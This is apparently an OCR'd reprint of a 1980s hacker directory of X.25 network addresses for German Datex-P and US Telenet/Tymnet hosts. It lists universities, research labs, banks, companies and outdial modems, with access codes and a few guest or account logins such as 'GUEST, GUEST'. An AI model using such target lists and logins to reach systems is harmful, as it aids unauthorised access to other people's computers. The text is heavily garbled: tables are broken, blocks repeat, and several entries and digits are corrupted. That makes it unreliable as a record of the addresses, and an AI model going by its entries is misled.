D 0262 454 000 0007
                                                    ???
                                                    BADGER
                                                    Argus IPP-Vax
                                                   ADV-Orga-Meyer & Co.
 A 0262 454 000 50233 Altos Hamburg (althh) (Gast)
I 0262 454 000 8001 DYVA MARK J VAX at DESY
I 0262 454 000 90047 AEG-Telefunken
A 0262 454 000 90047

A 0262 454 000 90092

A 0262 454 000 90184

I 0262 454 000 90194

O 0262 454 000 90241
                                                    AEG-Telefunken
Data-General
                                                     Uni Hamburg (VAX) (=UKE?)
                                                     Verbraucherbank AG
                                                     ???
                                                    Desy ( Vax )
 I 0262 454 000 90258
 I 0262 454 000 90558
                                                     Philips VAX
 D 0262 454 000 90560 EMBLHH EMBL VAX at Hamburg (Eur.Molecular
                                                    Biol.Lab.)
 I 0262 454 000 905602
                                                     ???
 A 0262 454 000 90582
A 0262 454 000 91110
                                                    Desy V.24 Switch
                                                    Deutsche Mailbox 1
Deutsche Mailbox 2

A 0262 454 000 92210

DESYNET

A 0262 454 000 9306

DYVA

MARK J VAX at DESY

D 0262 454 103 90161

0262 454 106 166
 A 0262 454 000 91120
                                                    Astra Chemicals GmbH
   0262 454 106 40206
                                                    RCA
 A 0262 454 210 40064
                                                    COMTES
 0 0262 454 210 40108
                                                    AEG-Telefunken
O 0262 454 210 40108
I 0262 454 210 40145
Y 0262 454 210 40244
O 0262 454 210 42001
I 0262 454 210 90302
O 0262 454 298 43070
I 0262 454 310 40545
A 0262 454 410 30033
I 0262 454 421 40045
I 0262 454 488 40147

AEG-Telefunken
AEG-Telefunken
Computerland VAX
Infex 2
Kiel IMF
Uni Oldenburg
ADV-Orga-Meyer & Co.
Essmann Getraenke GmbH
```

| 4.txt Tue Oct 05                             | 05:46:35 | 2021 15                                       |
|----------------------------------------------|----------|-----------------------------------------------|
| I 0262 456 210 40217                         |          | Primenet                                      |
| I 0262 456 210 40324                         |          | Abacus                                        |
| D 0262 456 210 40508                         |          | VCON0.BASF.A6                                 |
| A 0262 456 210 40516                         |          | CN01                                          |
| A 0262 456 210 40532                         |          |                                               |
| A 0262 456 210 40580                         |          | DYNAPAC MULTI-PAD.25                          |
| A 0262 456 210 40581                         |          | DYNAPAC MULTI-PAD.25                          |
| A 0262 456 210 40582                         |          |                                               |
| A 0262 456 210 90000                         |          | Telebox der DBP                               |
| I 0262 456 221 3002                          | EMBL     | European Microbiology Lab (or European        |
|                                              |          | Molecular Biological Lab.) (=ALKOR?)          |
| D 0262 456 221 40201                         |          | DKFZ (Heidelberg)                             |
| I 0262 456 221 40244                         |          | Franny (=Max Planck VAX=MPI?)                 |
| I 0262 456 310 40252                         |          |                                               |
| I 0262 456 310 421                           |          |                                               |
| D 0262 456 310 424                           |          |                                               |
| I 0262 456 310 4302                          |          |                                               |
| I 0262 456 340 40136                         |          | Nadler-Werke GmbH                             |
| A 0262 456 410 30021<br>I 0262 456 410 40142 |          | HRZ-Giessen                                   |
|                                              |          | Aachener + Muenchener Versicherung            |
| A 0262 456 410 90040<br>I 0262 456 410 90828 |          | HRZ Giessen (CDCNET-X.25)                     |
| I 0262 456 441 90828                         |          | Ernaehrungswissenschaften<br>Leerwe GmbH      |
| I 0262 456 615 142804                        |          | GMD, Darmstadt                                |
| A 0262 456 673 13330                         |          | Geonet 1 (ex IMCA)                            |
| A 0262 456 673 13340                         |          | Geonet 3                                      |
| I 0262 456 673 30070                         |          | IMCA-Mailbox, Solmser Str. 16, D-6419         |
| 1 0202 430 073 30070                         |          | Haunetal-Staerklos                            |
| I 0262 456 721 40305                         |          | Alfa Metalcraft Corp.                         |
| I 0262 456 810 40010                         |          | Teleprint Saarbrueckener Zeitung              |
| I 0262 456 810 40071                         |          | Nadler-Werke GmbH                             |
| I 0262 456 810 40076                         | SAARBRU  | Univ of Saarbruecken (Saarland RZ)            |
| A 0262 456 900 10174                         |          | Beilstein Gmelin RZ (COMDOS ?)                |
| 0 0262 456 900 10552                         |          | FIZ-Technik                                   |
| 0 0262 456 900 30040                         |          | Nixdorf Computer                              |
| A 0262 456 900 40076                         |          | Autonet                                       |
| D 0262 456 900 40106                         |          | Nixdorf                                       |
| I 0262 456 900 40505                         |          | AEG-Telefunken                                |
| 0262 456 900 40506                           |          | AEG-Telefunken                                |
| A 0262 456 900 90125                         |          |                                               |
| I 0262 456 900 90506                         |          | Nixdorf                                       |
| I 0262 456 900 9308                          |          | SYNTAX                                        |
| I 0262 457 010 40025                         |          | ?                                             |
| A 0262 457 071 40266                         |          | Zentrum fuer Datenverarbeitung                |
| 0262 457 071 40529<br>0262 457 071 90182     |          | Zentrale Verw.<br>ADW-Wirtschaftsberatung     |
| D 0262 457 071 90182<br>D 0262 457 071 90249 |          | Bibliothek                                    |
| D 0262 457 071 30243<br>D 0262 457 110 10023 |          | Hohenheim Bibliothek                          |
| D 0262 457 110 10025                         |          | Rechenzentrum                                 |
| Dr0262 457 110 211<br>Dr0262 457 110 40028   |          | 1.3 SHOHE GHOL GIN                            |
| Dr0262 457 110 40035                         |          | Primenet !! No CTRL-P clr !!                  |
| B 0262 457 110 40124                         |          | Stahl EDV-Service                             |
| 0262 457 110 40129                           |          | Allg.Rentenanstalt                            |
| 0262 457 110 40147                           |          | MAHU Verlag                                   |
| D 0262 457 110 90059                         |          | Bibliothek                                    |
| 0262 457 110 90103                           |          | Data General                                  |
| 0262 457 110 90246                           |          | Hohenheim DokumentationsSt.                   |
| D 0262 457 110 90316                         |          | RMI-Net                                       |
| 0262 457 110 90557                           |          | Stahl EDV-Service                             |
| A 0262 457 110 90593                         |          | Unix, Informatik (ifistg)                     |
| 0262 457 141 90098                           |          | Aigner Buchhandlung                           |
| X 0262 457 210 40002                         |          | V750                                          |
| Br0262 457 210 40025                         |          | Badenia                                       |
| 0262 457 210 40031                           |          | IITB-Datenverarbeitung                        |
| D 0262 457 210 40135                         |          | Fraunhofer Institut                           |
| C 0262 457 210 40189                         |          | Uni Karlsruhe, RZ (until 10-APR-88)           |
| X 0262 457 210 40248                         |          | Uni Karlsruhe, LINK (=NETONE?)                |
| A 0262 457 210 42100<br>A 0262 457 210 42140 |          | Uni Karlaruhe, IRAV2 (VAX 8200)               |
| D 0262 457 210 42140<br>D 0262 457 210 4303  |          | Uni Karlsruhe, RZ (since 11-APR-88) Telematik |
| D 0202 401 210 4000                          |          | TOTOMOCIA                                     |

```
Tue Oct 05 05:46:35 2021
4.txt
  0310 600 228 6
                                  Primenet TFGI
  0310 600 229 9
                                  CONSILIUM
  0310 600 232 901*D MFE
                                 Magnetic Fusion Energy Centre, Lawrence
                                 Livermore
B 0310 600 236 1
                                  Denver Oil&Gas
  0310 600 241
                                  Bank Of America
  0310 600 245 3
                                 Primenet
B 0310 600 254 5 SEISMO Centre for Seismic Studies
B 0310 600 255
                                  Outdial NY
A 0310 600 262 3
                                  VAX/VMS (GUEST ???)
В 0310 600 262 3003
                                  VTINET
B 0310 600 262 460
                                  SUMEX
В 0310 600 263 5
                                 QUOTRON Wall Street (Boerse n.y.)
B 0310 600 266 400 SLAC SLAC on Tymnet
B 0310 600 267 7 The New York T.
в 0310 600 267 7
                                  The New York Times
 0310 600 269 4
                                  PVM3101, SPDS/MTAM, MLCM, VM/SP, STRATUS-1,
                                  STRATUS-2
 0310 600 279 0
                                  VM/370
  0310 600 286 4
                                  RCA Semicustom
в 0310 600 302 70000
                                  VTI NETONE
  0310 600 307 9
                                  VM/370
  0310 600 309 2
                                  TYMNET/Protected Access Service Sys.
                                  Inter-link
  0310 600 316 8
                                  VM/370
 0310 600 321 4
                                  VM/370
  0310 600 322 0
                                  VM/370
 0310 600 322 1
                                 VM/370
 0310 600 357 2
                                 NORTH AMERICA DATA CENTRE
 0310 600 360 4
                                 VM/370
 0310 600 404 1
                                 RCA GLOBCOM'S PACKET SWITCHING SERICE
A 0310 600 412 9
A 0310 600 413 1
 0310 600 413 7
                                 TSO, VM/370
 0310 600 416 300
                                 Oakridge, Tennessee
 0310 600 417 4
                                 VM/370
 0310 600 420 6
                                 MAINSTREAMS
 0310 600 423 500
                                 Oakridge, Tennessee
                                 BIOVAX
В 0310 600 430 5
 0310 600 434 1
                                  (Host) 2 - VM/370, T - VM/370, 1, 3, 4, A, C, E, Z
A 0310 600 436 5
                                  Toxnet (NLM=National Lib. of Medicine's)
B 0310 600 455 5
                                  VAX
  0310 600 459 97
  0310 600 474 3
                                  TYMNET Info Service
X 0310 600 502 0
                                  Outdial Fairfax
  0310 600 522 9
                                  Uni.of Pencilvania School of Arts and
                                  Science
 0310 600 526 7
                                  CHANEL 01
X 0310 600 531 7
                                  Outdial St.Louis
B 0310 600 532 0
                                 DEC Soft. Serv.
 0310 600 556 9
                                 STRATUS/32
 0310 600 557 1
                                 STRATUS/32
 0310 600 560 3
                                  (Host) systems 1,2,3,4,5,C (5=Outdial)
B 0310 600 562 200 FNAL
                                Fermilab
B 0310 600 562 226
                                 Fermilab 2
В 0310 600 578 78
                                  BIX
B 0310 600 584 401
                                 Washington Post
                   DIALOG1 Lockheed Info Systems
B 0310 600 61
 0310 600 61*DSDDIPSSL ORBIT2
                                 SDC Search Service
 0310 600 628 1
                                  EDCS
 0310 600 628 3
                                  EDCS
 0310 600 643 2
                                  EASYLINK
 0310 600 643 4
                                  EASYLINK
 0310 600 672 2
                                  International Network
  0310 600 68
                                  Stanford SUMEX-AIM. Tenex op syst.
 0310 600 683 2
                                  A&A DATANET (Systems 1,8,0,14)
                                 Outdial NY
X 0310 600 701 7
 0310 600 759 6
                                  (Host) A - VM/370, B - VM/370
? 0310 600 787
                                  Dallas
  0310 601 79
                                  Berkley Univ.
  0310 602 88
                                  Stanford Research Institute
```

| 4. | txt          |     | Tu  | e Oct          | 05 | 05:46:35            | 20 | 21                       | 18         |                             |             |
|----|--------------|-----|-----|----------------|----|---------------------|----|--------------------------|------------|-----------------------------|-------------|
| В  | 0310         |     |     |                |    |                     |    | Cas Onlin                | _          |                             |             |
|    | 0310         |     |     | 3.8            |    |                     |    | Ohio CAS<br>Multics      | (Chemical  | Abstracts Se                | ervice)     |
|    | 0310         |     |     |                |    |                     |    | BIX Lexin                | gton Data  | Service                     |             |
|    | 0310         |     |     |                |    | DIALOG4             |    | Lockheed                 | DIALOG se  | rvice                       |             |
| В  | 0310         |     |     |                |    | DIALOG3             |    | Lockheed                 |            | rvice                       |             |
|    | 0310         |     | 762 | 6              |    | TELENET             |    | Emery ADO USA - Tel      |            |                             |             |
| В  | 0311         |     |     |                |    |                     |    | ECLD                     |            |                             |             |
|    | 0311         |     |     | 02000          |    |                     |    | Insco Sys                |            | 2400 bpc (7)                | 201)        |
|    |              |     |     | 022            |    |                     |    |                          | _          | 2400 bps (Ar<br>on Services | .ea 201)    |
|    |              |     |     | 02400          |    |                     |    | The Infor                |            |                             |             |
|    |              |     |     | 02500          |    |                     |    |                          |            | te of Technol               | ogy         |
|    |              |     |     | 02800<br>03700 |    |                     |    | Informati                |            | al Company                  |             |
|    | 0311         |     |     |                |    | MOUTON              |    |                          |            |                             |             |
|    | 0311         |     |     |                |    |                     |    |                          | _          | 1200 bps (Ar                |             |
|    |              |     |     | 59200<br>02100 |    |                     |    | Scientifi                |            | & Research I<br>ring        | .nc         |
|    |              |     |     | 02200          |    |                     |    | Scientifi                |            |                             |             |
|    | 0311         |     |     |                |    | TOTO                |    | Air Force                |            | 1 -                         | 1.5         |
| Τ  | 0311         |     |     |                |    | ICIB<br>TELEMAIL    |    | US Telema                |            | l Incorporate<br>tv         | ed B system |
| Χ  |              |     |     | 10900          |    | CIS                 |    |                          |            | on Systems                  |             |
|    | 0311         |     |     |                |    |                     |    | Outdial 3                |            |                             |             |
| A  | 0311         |     |     |                |    |                     |    | Outdial 1                |            | Area 202)<br>Outdial 2400   | ) hns (Area |
|    | 0311         | 020 | 200 | 11,            |    |                     |    | 202)                     | COTUMBIA   | odedidi 2100                | DPS (IIICa  |
| В  | 0311         |     |     |                |    | TELEMAIL            |    |                          |            | ty (GT-Net)                 |             |
|    |              |     |     | 14175<br>14175 |    | TELEENQ<br>TELEMAIL |    | Telenet E<br>US Telema   |            |                             |             |
|    |              |     |     | 14275          |    | TELENET             | _  | US Telene                |            | C y                         |             |
|    |              |     |     | 19500          |    |                     |    |                          |            | omputer Centr               | re          |
|    | 0311         |     |     | 06400          |    |                     |    | NCSS Bure                |            | l 1200 bps (A               | rea 2031    |
|    |              |     |     | 78900          |    |                     |    |                          |            | mputer Centre               |             |
|    |              |     |     | 02900          |    | WATERLO             |    | Universit                | _          |                             |             |
|    | 0311         |     |     | 019            |    |                     |    | Washington<br>Bowne Time |            | 1200 bps (Ar                | rea 206)    |
|    |              |     |     | 02500          |    |                     |    |                          | _          | Systems (Ani                | stics)      |
|    |              |     |     | 02800          |    |                     |    |                          |            | C data centre               |             |
|    | 0311<br>0311 |     |     |                |    | JPLM1<br>JPLM2      |    |                          |            | oratory mail oratory mail   |             |
|    |              |     |     | 14200          |    | 01 2112             |    | GT-Net Te                |            | oracory marr                | 2, 0011     |
|    | 0311         |     |     |                |    |                     |    | Outdial 3                |            |                             |             |
|    | 0311         |     |     |                |    |                     |    | Outdial 1<br>Outdial 2   |            |                             |             |
|    |              |     |     | 41200          |    |                     |    |                          |            | ial (Area 212               | ?)          |
|    | 0311         | 021 | 201 | 39200          |    |                     |    |                          | Dose Dist: | ribution Comp               | outation    |
|    | 0311         | 021 | 201 | 40600          |    |                     |    | Service<br>MAV System    | ms (300 bi | ps)                         |             |
|    | 0311         | 021 | 201 | 57800          |    |                     |    |                          | Associate: |                             |             |
|    |              |     |     | 58000          |    |                     |    |                          |            | (1200 bps)                  |             |
|    |              |     |     | 58500<br>58800 |    |                     |    | SDL Inter                |            | (300 bps)                   |             |
|    | 0311         | 021 | 201 | 59500          |    |                     |    |                          |            | (1200 bps)                  |             |
|    |              |     |     | 62000          |    |                     |    | Telestat                 |            |                             |             |
|    |              |     |     | 62700<br>02200 |    |                     |    | Telestat<br>Interaction  |            | nc<br>s Corporation         | 1           |
|    | 0311         | 021 | 300 | 02700          |    |                     |    | Mellonics                | Informat   | ion Centre                  |             |
| _  | 0311         |     |     |                |    | ODD.T.              |    |                          | ce & Space | e Systems Gro               | oup         |
| B  |              |     |     | 03300<br>03300 | *D | ORBIT<br>ORBIT      |    | Orbit<br>SDC Searc       | h Service  | (300 bps)                   |             |
|    | 0311         | 021 | 300 | 04400          |    | U-1.2-1             |    |                          |            | (1200 bps)                  |             |
| В  | 0311         |     |     |                |    | USCAL2              |    |                          | Southern ( | California                  |             |
|    |              |     |     | 04114<br>04700 |    | IHW                 |    | IHW<br>Universit         | v of South | hern Californ               | nia         |
|    | 0311         | 021 | 300 | 048            |    | USCAL1              |    | Universit                | y of Soutl | hern Californ               |             |
| В  | 0311         | 021 | 300 | 170            |    |                     |    | LRS Dialo                | g 2        |                             |             |
|    |              |     |     |                |    |                     |    |                          |            |                             |             |

| 4.txt Tue Oct 05                             | 05:46:35           | 2021 19                                                                              |
|----------------------------------------------|--------------------|--------------------------------------------------------------------------------------|
| T 0311 021 300 17000                         | DIALOG5            | Lockheed Info Systems                                                                |
| 0311 021 300 17000*D<br>B 0311 021 300 219   | DIALOG2<br>CALTECH | Lockheed DIALOG service<br>Caltech VAX 11/780                                        |
| 0311 021 300 21908                           | CALTECH            | Caltech VAX 11/780                                                                   |
| 0311 021 300 21909<br>0311 021 300 412       | CALTECH2           | Caltech VAX 11/780<br>California Outdial 1200 bps (Area 213)                         |
| A 0311 021 300 412                           |                    | Outdial CA                                                                           |
| 0311 021 300 668                             |                    | Adainfo                                                                              |
| 0311 021 301 353<br>0311 021 301 40300       | UCLA               | UCLA, USA<br>Marshall & Swift Publication                                            |
| 0311 021 400 117                             |                    | Outdial 300 bps (Area 214)                                                           |
| A 0311 021 400 118                           |                    | Texas Outdial 1200 bps (Area 214)                                                    |
| 0311 021 500 022<br>0311 021 500 112         |                    | Pennsylvania Outdial 2400 bps (Area 215)<br>Pennsylvania Outdial 1200 bps (Area 215) |
| A 0311 021 600 020                           |                    | Outdial 300 bps (Area 216)                                                           |
| A 0311 021 600 021<br>0311 021 700 021       |                    | Ohio Outdial 1200 bps (Area 216)<br>University of Illinois - Urbana                  |
| 0311 030 100 02000                           | NLM                | National Library of Medicine                                                         |
| A 0311 030 100 02400                         |                    | The Source (ID DSG131 SD3011)                                                        |
| B 0311 030 100 038<br>B 0311 030 100 243     |                    | The Source (ID BSC131 SR3811) ITT Dialcom                                            |
| 0311 030 100 364                             |                    | Primesoft                                                                            |
| A 0311 030 100 38<br>B 0311 030 100 633      |                    | The Source<br>Toxnet (NLM)                                                           |
| 0311 030 101 26500                           |                    | Informatics Inc                                                                      |
| 0311 030 300 02000<br>0311 030 300 021       |                    | Computer Sharing Services Colorado Outdial 2400 bps (Area 303)                       |
| 0311 030 300 021                             |                    | Broker Services Inc                                                                  |
| 0311 030 300 115                             |                    | Colorado Outdial 1200 bps (Area 303)                                                 |
| 0311 030 301 13100<br>0311 030 301 13200     |                    | EDI Computer Services EDI Computer Services                                          |
| 0311 030 301 13300                           |                    | Energy Enterprises                                                                   |
| 0311 030 500 121<br>0311 030 501 16300       |                    | Florida Outdial 1200 bps (Area 305)<br>Florida Computer Inc                          |
| D 0311 030 508 793                           |                    | Miami Outdial (Area 305) ?                                                           |
| 0311 031 200 02200<br>0311 031 200 024       |                    | National Computer Network of Chicago                                                 |
| 0311 031 200 024                             |                    | Illinois Outdial 2400 bps (Area 217 ?) Continental Bank                              |
| 0311 031 200 03200                           |                    | Continental Bank                                                                     |
| 0311 031 200 04900<br>0311 031 200 411       |                    | American Hospital Supply Corporation Illinois Outdial 1200 bps (Area 217 ?)          |
| 0311 031 201 07300                           |                    | Commodity Information Services                                                       |
| 0311 031 268 801<br>0311 031 300 024         | ADPUSA             | ADP Network Services Ltd.<br>Michigan Outdial 2400 bps (Area 313)                    |
| 0311 031 300 024                             |                    | ADP Network Services                                                                 |
| 0311 031 300 06200                           |                    | Merit International (MIT)                                                            |
| 0311 031 300 216<br>0311 031 301 39800       |                    | Michigan Outdial 1200 bps (Area 313) Merit Computer                                  |
| 0311 031 400 07200                           |                    | Environmental DataNetwork Inc.                                                       |
| 0311 031 401 06500<br>0311 031 401 06600     |                    | McDonnel Douglas Automation (300 bps) McDonnel Douglas Automation (110 bps)          |
| 0311 031 401 06700                           |                    | McDonnel Douglas Automation (1200 bps)                                               |
| 0311 031 401 61000<br>0311 031 500 02000     |                    | McDonnel Douglas Automation (300 bps) Bibliographic Retrieval Services               |
| A 0311 040 100 612                           |                    | Modemoity                                                                            |
| A 0311 040 400 114                           |                    | Georgia Outdial 1200 bps (Area 404)                                                  |
| A 0311 040 800 021<br>0311 040 800 245       |                    | California Outdial 1200 bps? (Area 408)<br>Bridge                                    |
| в 0311 040 800 246                           |                    | SCF                                                                                  |
| 0311 041 201 4600<br>0311 041 400 02000      |                    | On-Line Systems Inc A.O. Smith Data Systems Divisions                                |
| 0311 041 400 02000                           |                    | Wisconsin Outdial 1200 bps (Area 414)                                                |
| B 0311 041 500 020                           | D T 3 T C C        | LRS-Dialog 2                                                                         |
| A 0311 041 500 02000<br>0311 041 500 02000*D | DIALOG<br>DIALOG   | Lockheed Information Systems Lockheed DIALOG service                                 |
| в 0311 041 500 048                           |                    | LRS Dialog 2                                                                         |
| 0311 041 500 04800<br>0311 041 500 04800*D   | DIALOG2<br>DIALOG1 | Lockheed Information Systems 2 Lockheed DIALOG service                               |
| 0311 041 500 117                             | PIMIOGI            | California Outdial 1200 bps (Area 415)                                               |
| I 0311 041 500 210                           |                    | Outdial USA                                                                          |

| 4.txt Tue Oct 05                         | 05:46:35 | 2021 20                                                                  |
|------------------------------------------|----------|--------------------------------------------------------------------------|
| A 0311 041 500 215                       |          | Outdial (Area 415)                                                       |
| A 0311 041 500 217                       |          | Outdial (Area 415)                                                       |
| A 0311 041 500 220                       |          | Outdial 1200 bps (Area 415)                                              |
| 0311 041 500 48000<br>B 0311 041 500 607 |          | Lockheed Information Systems (?) BIONET                                  |
| B 0311 041 500 607<br>B 0311 041 500 609 |          | INTELLIGENETICS                                                          |
| 0311 041 501 23600                       |          | Hydrocomp Inc (300 bps)                                                  |
| 0311 041 501 23700                       |          | Hydrocomp Inc (1200 bps)                                                 |
| 0311 041 501 26800                       |          | ITEL Corp (300 bps)                                                      |
| 0311 041 501 26900                       |          | ITEL Corp (1200 bps)                                                     |
| 0311 041 501 59700                       |          | Stanford Library Centre for Inform Processing                            |
| 0311 041 501 59700                       |          | Standard Centre for Information Processing                               |
| 0 0311 050 006 1                         |          | Nuclear Research                                                         |
| A 0311 050 300 020                       |          | Outdial 300 bps (Area 503)                                               |
| A 0311 050 300 021                       |          | Oregon Outdial 1200 bps (Area 503)                                       |
| В 0311 050 500 060                       |          | ICN (=LASL)                                                              |
| 0310 600 021 0<br>0310 600 022 6         |          | Procter and Gamble Anistics                                              |
| 0310 600 022 6                           |          | Interactive Market Systems (Anistics)                                    |
| 0310 600 023 2                           |          | Scientific Timesharing                                                   |
| 0310 600 024 2                           |          | Timesharing Resources                                                    |
| 0310 600 025 2                           |          | Computer Science Corporation                                             |
| 0310 600 025 5                           |          | Timesharing Associates                                                   |
| 0310 600 027 6<br>0310 600 028 8         |          | Management Decision Systems Inc<br>SRI                                   |
| 0310 600 028 8                           |          | SRI San Francisco (UNIX)                                                 |
| 0310 600 028 8                           |          | Stanford Research Institute (SRI)                                        |
| 0310 600 030 3                           |          | Scientific Timesharing                                                   |
| 0310 600 030 7                           |          | Infomedia Corporation                                                    |
| 0310 600 032 3                           |          | TRW Defence & Space Systems Group                                        |
| 0310 600 040 1<br>0310 600 043 2         |          | TMCS Public Network Interactive Market Systems                           |
| 0310 600 045 2                           |          | Bibliographic Retrieval Services                                         |
| в 0310 600 058 1                         |          | BRS                                                                      |
| 0310 600 063 3                           |          | Public TYMNET/TRWNET Interlink                                           |
| 0310 600 079 3                           |          | J&J Host                                                                 |
| B 0310 600 105 3                         |          | MILL TITCO IN DCO 2642                                                   |
| 0310 600 133 0<br>0310 600 140 0         |          | MULTICS, HVN 862-3642 TMCS Public Network                                |
| В 0310 600 150 9                         |          | Orbit (SDC)                                                              |
| в 0310 600 157 878                       |          | BIX                                                                      |
| D 0310 600 165 9                         |          | BYTE Information Exchange (GUEST, GUEST)                                 |
| A 0310 600 166 3                         |          | People Link                                                              |
| 0310 600 181 9<br>0310 600 182 8         | EDV      | TMCS Public Network                                                      |
| 0310 600 182 8                           | FRX      | Faifax Outdial Host (Tymnet) SUNGARDS Central Computer Facility Networks |
| 0310 600 189 2                           |          | Primenet (certain hours)                                                 |
| в 0310 600 195 2                         |          | VAX                                                                      |
| В 0310 600 197 6                         |          | Outdial NY                                                               |
| A 0310 600 197 7                         |          | COMODER On 1 days Construe                                               |
| 0310 600 209 5<br>0310 600 209 8         |          | COMODEX Online System D & B                                              |
| 0310 600 209 9                           |          | D & B                                                                    |
| 0310 600 210 0                           |          | D & B                                                                    |
| 0310 600 210 9                           |          | TYMNET/15B (inter-link)                                                  |
| B 0310 600 220 7,OUT                     |          | Outdial                                                                  |
| 0310 600 228 6                           |          | Primenet TFGI                                                            |
| 0310 600 229 9<br>0310 600 232 901*D     | MFE      | CONSILIUM Magnetic Fusion Energy Centre, Lawrence                        |
| 0010 000 202 001 D                       | - 11 11  | Livermore                                                                |
| в 0310 600 236 1                         |          | Denver Oil&Gas                                                           |
| 0310 600 241                             |          | Bank Of America                                                          |
| 0310 600 245 3                           |          | Primenet                                                                 |
| B 0310 600 254 5                         | SEISMO   | Centre for Seismic Studies                                               |
| B 0310 600 255<br>A 0310 600 262 3       |          | Outdial NY VAX/VMS (GUEST ???)                                           |
| B 0310 600 262 3003                      |          | VAA/VMS (GOESI :::) VTINET                                               |
| В 0310 600 262 460                       |          | SUMEX                                                                    |
| в 0310 600 263 5                         |          | QUOTRON Wall Street (Boerse n.y.)                                        |
|                                          |          |                                                                          |

| 4 | .txt         |       | Tu  | e Oct          | 05   | 05:46:35           | 202 | 021 21                                                   |
|---|--------------|-------|-----|----------------|------|--------------------|-----|----------------------------------------------------------|
| В | 0310         | 600   | 266 | 400            |      | SLAC               |     | SLAC on Tymnet                                           |
| В | 0310         |       |     |                |      |                    |     | The New York Times                                       |
|   | 0310         | 600   | 269 | 4              |      |                    |     | PVM3101, SPDS/MTAM, MLCM, VM/SP, STRATUS-1,              |
|   | 0010         | C O O | 070 | 0              |      |                    |     | STRATUS-2                                                |
|   | 0310<br>0310 |       |     |                |      |                    |     | VM/370<br>RCA Semicustom                                 |
| В |              |       |     | 70000          |      |                    |     | VTI NETONE                                               |
| ב | 0310         |       |     |                |      |                    |     | VM/370                                                   |
|   | 0310         |       |     |                |      |                    |     | TYMNET/Protected Access Service Sys.                     |
|   |              |       |     |                |      |                    |     | Inter-link                                               |
|   | 0310         |       |     |                |      |                    |     | VM/370                                                   |
|   | 0310<br>0310 |       |     |                |      |                    |     | VM/370<br>VM/370                                         |
|   | 0310         |       |     |                |      |                    |     | VM/370                                                   |
|   | 0310         |       |     |                |      |                    |     | NORTH AMERICA DATA CENTRE                                |
|   | 0310         |       |     |                |      |                    |     | VM/370                                                   |
|   | 0310         |       |     |                |      |                    |     | RCA GLOBCOM'S PACKET SWITCHING SERICE                    |
|   | 0310<br>0310 |       |     |                |      |                    |     | ?                                                        |
| Α | 0310         |       |     |                |      |                    |     | ?<br>TSO, VM/370                                         |
|   | 0310         |       |     |                |      |                    |     | Oakridge, Tennessee                                      |
|   | 0310         |       |     |                |      |                    |     | VM/370                                                   |
|   | 0310         |       |     |                |      |                    |     | MAINSTREAMS                                              |
| _ | 0310         |       |     |                |      |                    |     | Oakridge, Tennessee                                      |
| В | 0310<br>0310 |       |     |                |      |                    |     | BIOVAX<br>(Host) 2 - VM/370, T - VM/370,1,3,4,A,C,E,Z    |
| А | 0310         |       |     |                |      |                    |     | Toxnet (NLM=National Lib. of Medicine's)                 |
|   | 0310         |       |     |                |      |                    |     | VAX                                                      |
|   | 0310         |       |     |                |      |                    |     |                                                          |
|   | 0310         |       |     |                |      |                    |     | TYMNET Info Service                                      |
| X | 0310<br>0310 |       |     |                |      |                    |     | Outdial Fairfax Uni.of Pencilvania School of Arts and    |
|   | 0310         | 800   | J   | 9              |      |                    |     | Science                                                  |
|   | 0310         | 600   | 526 | 7              |      |                    |     | CHANEL 01                                                |
| Χ | 0310         | 600   | 531 | 7              |      |                    |     | Outdial St.Louis                                         |
| В | 0310         |       |     |                |      |                    |     | DEC Soft. Serv.                                          |
|   | 0310         |       |     |                |      |                    |     | STRATUS/32                                               |
|   | 0310<br>0310 |       |     |                |      |                    |     | STRATUS/32 (Host) systems 1,2,3,4,5,C (5=Outdial)        |
| В | 0310         |       |     |                |      | FNAL               |     | Fermilab                                                 |
| В | 0310         | 600   | 562 | 226            |      |                    |     | Fermilab 2                                               |
|   | 0310         |       |     |                |      |                    |     | BIX                                                      |
|   | 0310         |       |     | 401            |      | D T 7 T O C 1      |     | Washington Post                                          |
| В | 0310         |       |     | מדחחפת         | SST. | DIALOG1<br>ORBIT2  |     | Lockheed Info Systems SDC Search Service                 |
|   | 0310         |       |     |                | ООШ  | ORDITZ             |     | EDCS                                                     |
|   | 0310         |       |     |                |      |                    |     | EDCS                                                     |
|   | 0310         |       |     |                |      |                    |     | EASYLINK                                                 |
|   | 0310         |       |     |                |      |                    |     | EASYLINK                                                 |
|   | 0310<br>0310 |       |     | ۷              |      |                    |     | International Network Stanford SUMEX-AIM. Tenex op syst. |
|   | 0310         |       |     | 2              |      |                    |     | A&A DATANET (Systems 1,8,0,14)                           |
| Χ | 0310         |       |     |                |      |                    |     | Outdial NY                                               |
|   | 0310         |       |     | 6              |      |                    |     | (Host) A - VM/370, B - VM/370                            |
| ? | 0310         |       |     |                |      |                    |     | Dallas Parkley University                                |
|   | 0310<br>0310 |       |     |                |      |                    |     | Berkley Univ.<br>Stanford Research Institute             |
| В | 0310         |       |     |                |      |                    |     | Cas Online Sys.                                          |
|   | 0310         |       |     |                |      |                    |     | Ohio CAS (Chemical Abstracts Service)                    |
|   | 0310         |       |     |                |      |                    |     | Multics                                                  |
|   | 0310         |       |     |                |      | D T 3 T 2 2 4      |     | BIX Lexington Data Service                               |
| Þ | 0310<br>0310 |       |     |                |      | DIALOG4<br>DIALOG3 |     | Lockheed DIALOG service Lockheed DIALOG service          |
| Д | 0310         |       |     |                |      | כמחתעזת            |     | Emery ADO                                                |
|   | 0311         |       |     | -              |      | TELENET            |     | USA - Telenet                                            |
| В | 0311         | 002   |     |                |      |                    |     | ECLD                                                     |
|   |              |       |     | 02000          |      |                    |     | Insco Systems                                            |
|   | 0311         |       |     |                |      |                    |     | New Jersey Outdial 2400 bps (Area 201)                   |
|   |              |       |     | 02300<br>02400 |      |                    |     | American Information Services The Information Bank       |
|   | 0011         | 020   | -00 | 02100          |      |                    |     | III III JIMAGIGII DUIM                                   |

| 4.txt Tue Oct 05                           | 05:46:35 20          | 021 24                                                                         |
|--------------------------------------------|----------------------|--------------------------------------------------------------------------------|
| 0 0311 050 006 1                           |                      | Nuclear Research                                                               |
| A 0311 050 300 020                         |                      | Outdial 300 bps (Area 503)                                                     |
| A 0311 050 300 021<br>B 0311 050 500 060   |                      | Oregon Outdial 1200 bps (Area 503) ICN (=LASL)                                 |
| В 0311 050 300 000                         |                      | Mead Data Central                                                              |
| 0311 051 501 39600                         |                      | State University of New York                                                   |
| 0311 051 600 02200                         |                      | Timesharing Resources                                                          |
| D 0311 060 200 020                         |                      | Outdial 300 bps (Area 602)                                                     |
| D 0311 060 200 021<br>B 0311 060 200 150   |                      | Outdial 1200 bps (Area 602)<br>Phoenix                                         |
| 0311 060 200 130                           |                      | Timesharing Associates                                                         |
